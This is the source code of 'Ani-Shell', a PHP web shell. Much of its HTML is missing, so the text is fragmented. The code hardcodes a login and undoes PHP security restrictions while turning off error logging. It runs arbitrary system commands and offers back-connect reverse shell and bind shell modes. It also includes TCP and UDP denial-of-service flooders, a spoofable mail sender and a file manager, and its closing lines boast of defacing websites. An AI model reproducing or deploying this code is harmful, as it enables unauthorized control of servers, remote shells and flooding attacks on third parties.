>>>>>>>> c0d3d by lionaneesh <<<<<<<<<< []======================================== []+ Email: lionaneesh@gmail.com + []+ Twitter : twitter.com/lionaneesh + []======================================== [] [] [] [] [] [] [] [] [] [] C0de For India [] Hack For India [] Live for India [] [] Jai Hind */ // ------------------------------------- Some header Functions (Need to be on top) --------------------------------- /**************** Defines *********************************/ $user = "lionaneesh"; $pass = "r00t"; $lock = "on"; // set this to off if you dont need the login page $tracebackFeature = "off"; $ownerEmail = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; //*************************************************************/ // -------------- Traceback Functions function sendLoginAlert() { global $ownerEmail; global $url; $accesedIp = $_SERVER['REMOTE_ADDR']; $randomInt = rand(0,1000000); # to avoid id blocking $from = "ani-shell$randomInt@fbi.gov"; //echo $from; if(function_exists('mail')) { $subject = "Shell Accessed -- Ani-Shell --"; $message = " Hey Owner , Your Shell(Ani-Shell) located at $url was accessed by $accesedIp If its not you :- 1. Please check if the shell is secured. 2. Change your user name and Password. 3. Check if lock is 0n! and Kick that ****** out! Thanking You Yours Faithfully Ani-Shell "; mail($ownerEmail,$subject,$message,'From:'.$from); } } //--------------------------------------------------------- if(function_exists('session_start') && $lock == 'on') { session_start(); } else { // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported $lock = 'off'; } //logout if(isset($_GET['logout']) && $lock == 'on') { $_SESSION['authenticated'] = 0; session_destroy(); header("location: ".$_SERVER['PHP_SELF']); } error_reporting(E_ALL); ini_set('max_execution_time',0); /***************** Restoring *******************************/ error_reporting(E_ALL); ini_set('max_execution_time',0); ini_restore("safe_mode_include_dir"); ini_restore("safe_mode_exec_dir"); ini_restore("disable_functions"); ini_restore("allow_url_fopen"); ini_restore("safe_mode"); ini_restore("open_basedir"); if(function_exists('ini_set')) { ini_set('error_log',NULL); // No alarming logs ini_set('log_errors',0); // No logging of errors ini_set('file_uploads',1); // Enable file uploads ini_set('allow_url_fopen',1); // allow url fopen } else { ini_alter('error_log',NULL); ini_alter('log_errors',0); ini_alter('file_uploads',1); ini_alter('allow_url_fopen',1); } // ---------------------------------------------------------------------------------------------------------------- ?>

Lock is Switched Off! , The shell can be accessed by anyone!



[]========================================
[]--------------Ani Shell-----------------
[]----------------------------------------
[]========================================
[]>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
[]========================================
[]   Email: lionaneesh@gmail.com         +
[]   Twitter : twitter.com/lionaneesh    +
[]========================================
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]  C0de For India
[]  Hack For India
[]  Live for India
[]
[]

$mod; $i++) { $size /= $mod; } return round($size, 2) . ' ' . $units[$i]; } function getClientIp() { echo $_SERVER['REMOTE_ADDR']; } function getServerIp() { echo getenv('SERVER_ADDR'); } function getSoftwareInfo() { echo php_uname(); } function diskSpace() { echo HumanReadableFilesize(disk_total_space("/")); } function freeSpace() { echo HumanReadableFilesize(disk_free_space("/")); } function getSafeMode() { global $sm; echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF"); } function getDisabledFunctions() { if(!ini_get('disable_functions')) { echo "None"; } else { echo @ini_get('disable_functions'); } } function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } /***********************************************************/ // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is // Turned OfF! /**********************************************************/ function exec_all($command) { $output = ''; if(function_exists('exec')) { exec($command,$output); $output = join("\n",$output); } else if(function_exists('shell_exec')) { $output = shell_exec($command); } else if(function_exists('popen')) { $handle = popen($command , "r"); // Open the command pipe for reading if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { while(!feof($handle)) { $output .= fread($handle, 512); } } else if(function_exists('fgets') && function_exists('feof')) { while(!feof($handle)) { $output .= fgets($handle,512); } } } pclose($handle); } else if(function_exists('system')) { ob_start(); //start output buffering system($command); $output = ob_get_contents(); // Get the ouput ob_end_clean(); // Stop output buffering } else if(function_exists('passthru')) { ob_start(); //start output buffering passthru($command); $output = ob_get_contents(); // Get the ouput ob_end_clean(); // Stop output buffering } else if(function_exists('proc_open')) { $descriptorspec = array( 1 => array("pipe", "w"), // stdout is a pipe that the child will write to ); $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { while(!feof($pipes[1])) { $output .= fread($pipes[1], 512); } } else if(function_exists('fgets') && function_exists('feof')) { while(!feof($pipes[1])) { $output .= fgets($pipes[1],512); } } } pclose($handle); } else { $output = "They have their Security there! :( "; } return(htmlspecialchars($output)); } //------------------------------------------------------------------------------------------------ ?>

Your IP : | Server IP :
Safe Mode :
Server ADMIN: | PHP VERSION : | Curl : Enabled"):("Disabled"); ?> | Oracle : Enabled"):("Disabled"); ?> | MySQL : Enabled"):("Disabled");?> | MSSQL : Enabled"):("Disabled"); ?> | PostgreSQL : Enabled"):("Disabled"); ?> | Disable functions : | Space : | Free :




Overwritten Files :-
Directory
Mode
File Type
The Program is now trying to connect!

"; $ip = $_POST['ip']; $port=$_POST['port']; $sockfd=fsockopen($ip , $port , $errno, $errstr ); if($errno != 0) { echo "$errno : $errstr"; } else if (!$sockfd) { $result = "

Fatal : An unexpected error was occured when trying to connect!

"; } else { fputs ($sockfd ,"\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n================================================================="); $pwd = exec_all("pwd"); $sysinfo = exec_all("uname -a"); $id = exec_all("id"); $dateAndTime = exec_all("time /t & date /T"); $len = 1337; fputs($sockfd ,$sysinfo . "\n" ); fputs($sockfd ,$pwd . "\n" ); fputs($sockfd ,$id ."\n\n" ); fputs($sockfd ,$dateAndTime."\n\n" ); while(!feof($sockfd)) { $cmdPrompt ="(Ani-Shell)[$]> "; fputs ($sockfd , $cmdPrompt ); $command= fgets($sockfd, $len); fputs($sockfd , "\n" . exec_all($command) . "\n\n"); } fclose($sockfd); } } else if( isset($_POST['port']) && isset($_POST['passwd']) && $_POST['port'] != "" && $_POST['passwd'] != "" ) { // Set time limit to indefinite execution set_time_limit (0); // Set the ip and port we will listen on $address = '127.0.0.1'; $port = $_POST['port']; $pass = $_POST['passwd']; if(function_exists("socket_create")) { // Create a TCP Stream socket $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); // Bind the socket to an address/port if(socket_bind($sockfd, $address, $port) == FALSE) { echo "Cant Bind to the specified port and address!"; } // Start listening for connections socket_listen($sockfd,15); $passwordPrompt = "\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================\n\n0xPassword : "; /* Accept incoming requests and handle them as child processes */ $client = socket_accept($sockfd); socket_write($client , $passwordPrompt); // Read the pass from the client $input = socket_read($client, strlen($pass) + 2); // +2 for r\n if(trim($input) == $pass) { socket_write($client , "\n\n"); socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a")); socket_write($client , "\n\n"); while(1) { // Print Command prompt $commandPrompt ="(Ani-Shell)[$]> "; $maxCmdLen = 31337; socket_write($client,$commandPrompt); $cmd = socket_read($client,$maxCmdLen); if($cmd == FALSE) { echo "The client Closed the conection!"; break; } socket_write($client , exec_all($cmd)); } } else { echo "Wrong Password!"; socket_write($client, "sU(|< - 0FF Bitch!\n\n"); } socket_shutdown($client, 2); socket_close($socket); // Close the client (child) socket //socket_close($client); // Close the master sockets //socket_close($sock); } else { echo "Sockets Conections not Supported by the server!
"; } } else { ?>
Back Connect Bind Shell
IP
Port   
Port
Passwd   

Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!

$data

"; print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message
"; for($i=0;$i<$times;$i++) { $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); if($socket) { fwrite($socket , $data , $length ); fclose($socket); } } echo ""; echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
"; echo "Total Number of Packets Sent : " . $times . "
"; echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "
"; echo "Data per packet = " . HumanReadableFilesize($length) . "
"; } else { ?>
IP
Port
Timeout
No of times
Message (The message Should be long and it will be multiplied with the value after it) x
"; while(1) { $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); if($socket) { fwrite($socket , $data); fclose($socket); $packets++; } if(time() >= $maxTime) { break; } } echo ""; echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."
"; echo "Total Number of Packets Sent : " . $packets . "
"; echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "
"; echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "
"; } else { ?>
IP
Port
Timeout (Time in seconds)
Execution Time (Time in seconds)
No of Bytes per/packet
Mail Sent!

"; } else { ?>
From
To
Subject
File :
Size :

File :
To :
PWD
Could Not Delete the file Specified!

"; } } if(is_dir($dir)) { $handle = opendir($dir); if($handle != FALSE) { if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;} while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { //echo $file; //f its a directory if(is_dir($dir.$file)) { ?> NOT a Valid Directory!
"; } ?>
Name Size Permissions Delete Rename
/ DIR DIR Rename
Delete Rename
Upload
Upload File




���(-� � Copyright lionaneesh [All rights reserved] �-)���
(: Follow Me | Facebook | Odesk | Freelancer | Scriptlance :)
m/ Greetz to : LuCky , Aasim Bhai aKa R00tD3vil , and all ICA and Indishell Members! We'll Always rock m/
"" ALL I REMEMBER WERE THOSE LONENY NIGHTS WHEN I WAS DEFACING THOSE INSECURE WEBSITES ""